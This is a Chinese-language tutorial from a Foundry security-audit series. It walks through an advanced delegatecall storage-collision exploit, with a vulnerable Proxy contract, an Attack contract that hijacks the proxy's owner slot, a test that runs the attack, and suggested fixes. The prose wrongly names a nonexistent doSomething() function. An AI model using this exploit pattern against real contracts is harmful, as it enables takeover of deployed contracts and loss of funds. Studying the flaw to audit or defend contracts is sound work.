本文主要是介绍SolidityFoundry 安全审计测试 Delegatecall漏洞2,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
名称:
Delegatecall漏洞2
https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi
描述:
我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章;这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。
这次的攻击目标依然是获得 Proxy 合约中的 owner 权限,我们可以看到两个合约中除了 Proxy合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下。
过程:
1、alice分别部署 Delegate、Attack和Proxy合约;
2、攻击者 bob调用 Attack的attack函数,成功将 Proxy合约中的 owner 改成attack的地址。
分析:
Attack.attack() 函数先将自己的地址转换为 uint256 类型。
然后调用 Proxy.pwn() 函数,相当于调用Delegate.pwn()函数,pwn()函数会根据入参修改变量num(slot 0),由于是delegatecall,所以Proxy合约也是修改slot 0——变量delegate,那么attack函数的参数就会写入Proxy的slot0了,这样我们就相当于把delegate地址改为了Attack合约地址;
然后我们再次调用Proxy.pwn() 函数,现在相当于是调用Attack.pwn()函数,此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 Proxy合约保持一致,并且不难发现 Attack.pwn() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 Proxy合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 bob的地址,至此攻击者完成了他的攻击。
解决方法:
在使用 delegatecall 时应注意被调用合约的地址不能是可控的;
在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。
proxy合约:
contract Proxy {Delegate delegate;address public owner;uint public num;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);owner = msg.sender;}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}
Attack 代码:
contract Attack {Delegate delegate;address public owner;uint public num;Proxy public proxy;constructor(address _proxy) public {proxy = Proxy(_proxy);}function attack() external {address(proxy).call(abi.encodeWithSignature("pwn(uint256)",uint(uint160(address(this)))));//address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));}function pwn(uint _num) public {owner = msg.sender;}
}
foundry测试代码:
contract ContractTest is Test {Proxy proxy;Delegate DelegateContract;Attack attack;address alice;address bob;function setUp() public {alice = vm.addr(1);bob = vm.addr(2);}function testDelegatecall() public {DelegateContract = new Delegate(); // logic contractvm.prank(alice);proxy = new Proxy(address(DelegateContract)); // proxy contractattack = new Attack(address(proxy)); // attack contractconsole.log("Alice address", alice);console.log("Proxy owner", proxy.owner());// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.console.log("Change DelegationContract owner to bob...");attack.attack();vm.prank(bob);address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));console.log("Proxy owner", proxy.owner());console.log("Exploit completed, proxy contract storage has been manipulated");}
}
这篇关于SolidityFoundry 安全审计测试 Delegatecall漏洞2的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!